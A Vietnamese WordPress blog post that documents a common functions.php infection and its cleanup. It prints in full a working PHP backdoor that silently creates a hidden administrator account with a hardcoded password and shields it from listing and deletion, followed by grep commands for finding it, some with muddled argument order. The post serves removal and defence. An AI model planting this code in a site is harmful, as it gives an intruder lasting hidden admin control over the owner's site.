Bài viết này ghi chép lại các loại mã độc hay bị nhiễm và các sửa:
code thường chèn trong functions.php
|
1 |
(!function_exists('wp_enqueue_async_script') && function_exists('add_action') && function_exists('wp_die') && function_exists('get_user_by') && function_exists('is_wp_error') && function_exists('get_current_user_id') && function_exists('get_option') && function_exists('add_action') && function_exists('add_filter') && function_exists('wp_insert_user') && function_exists('update_option')) { add_action('pre_user_query', 'wp_enqueue_async_script'); add_filter('views_users', 'wp_generate_dynamic_cache'); add_action('load-user-edit.php', 'wp_add_custom_meta_box'); add_action('admin_menu', 'wp_schedule_event_action'); function wp_enqueue_async_script($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function wp_generate_dynamic_cache($views) { $html = explode('<span class="count">(', $views['all']); $count = explode(')</span>', $html[1]); $count[0]--; $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1]; $html = explode('<span class="count">(', $views['administrator']); $count = explode(')</span>', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1]; return $views; } function wp_add_custom_meta_box() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function wp_schedule_event_action() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $params = array( 'user_login' => 'adminbackup', 'user_pass' => '!4Nro3j#AU', 'role' => 'administrator', 'user_email' => '[email protected]' ); if (!username_exists($params['user_login'])) { $id = wp_insert_user($params); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $params['user_login']); if ($hidden_user->user_email != $params['user_email']) { $id = get_option('_pre_user_id'); $params['ID'] = $id; wp_insert_user($params); } } if (isset($_COOKIE['WORDPRESS_ADMIN_USER']) && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } |
cách fix:
tìm và xóa thôi, rồi sau đó bảo mật lại vps
|
1 2 3 4 5 6 7 8 9 10 11 12 |
Lệnh khuyến nghị nhất (WordPress): grep -Rni --include="*.php" "adminbackup" /var/www/ Tìm trong toàn bộ thư mục hiện tại (đệ quy) grep -Rni "adminbackup" * Tìm trên toàn bộ server (từ thư mục root) grep -Rni "/root" "adminbackup" hoặc để search toàn hệ thống (cực nặng) grep -Rni "/" -e "adminbackup" Tìm trong thư mục website WordPress (nhanh hơn, chuẩn nhất) grep -Rni "/var/www/html" -e "adminbackup" Chỉ tìm trong file PHP grep -Rni --include="*.php" "adminbackup" /var/www/html |
Mọi sự sao chép xin ghi rõ nguồn là fcwordpress.net
Chuyên trang về wordpress: hướng dẫn thiết kế theme, plugin, thủ thuật wordpress